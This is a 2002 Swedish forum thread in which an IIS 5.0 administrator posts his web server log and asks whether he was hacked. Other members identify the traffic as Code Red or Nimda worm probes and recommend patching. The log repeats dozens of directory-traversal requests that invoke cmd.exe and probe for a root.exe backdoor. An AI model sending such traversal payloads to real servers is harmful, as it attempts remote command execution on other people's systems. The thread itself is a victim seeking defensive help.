webForumDet fria alternativet
Logga in / Bli medlem

Hackad?

Webbservrar

5 svar · 652 visningar · startad av Proton

ProtonMedlem sedan okt. 2000242 inlägg
Frågan#1

Hej på er...

Behöver hjälp med att tolka min logg, det verkar som att denna person och en annan försöker bryta sig in i min webbserver. Det är en IIS 5.0.

Frågor:

Vad försöker de göra?
På vilket sätt?
Har de lyckats?

Log-----------------------------

2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -

Tack på förhand.
/Johnny

ProtonMedlem sedan okt. 2000242 inlägg
#2

En sak till vad ska man göra? Jag har spärrat IP: nummret i IIS:en. Kan man göra något mer? Tips mottages tacksamt!

/Johnny

SirPeters avatarSirPeterMedlem sedan feb. 200115 571 inlägg
#3

Det där är en logg som säger att en dator som är smittad med antingen Code Red eller Nimda eller nån liknande har försökt att smitta din dator. Om du har kört windows-update ordentligt så klarar du dig från såna attacker.

Viktors avatarViktorMedlem sedan aug. 20021 752 inlägg
#4

Det där är inte roligt :(
Tittade i min access logg nu och hade lite över 10.000 rader med fel bara från Nimda/Code Red och i error loggen är det över 15.000 rader, och det är från början av september iår (blir över 400 rader/dag). Det här har hållit på i 1 år snart tror jag. Jag tycker att alla borde ha rensat sina datorer nu men det har de inte.
Sitter själv med Apache så det påvärkar inte mig så mycket men det tar ju bandbred osv..

/Viktor

ProtonMedlem sedan okt. 2000242 inlägg
#5

Tackar för bra svar!

/Johnny

yabadabaMedlem sedan juni 200124 inlägg
#6

Hej,

I detta fallet så är IP numret från Bredbandsbolaget, detta innebär förmodligen att någon privatanvändare är smittad. IIS finns även i vanliga Windows 2000.

Code Read kommer aldrig (inom dom närmaste åren, kanske t.o.m. den närmaste årtionden) att försvinna. Sättet programmet jobbar på gör att den alltid kommer att hitta en server/klient som har den svagheter som krävs för att programmet ska kunna aktiveras.

263 ms totalt · 4 externa anrop · v20260731065814-full.86ec41c2
130 ms — deklarationer (db)
0 ms — hämta statistik (cache)
130 ms — hämta tråd, inlägg och bilagor (db)
120 ms — ändringar (db)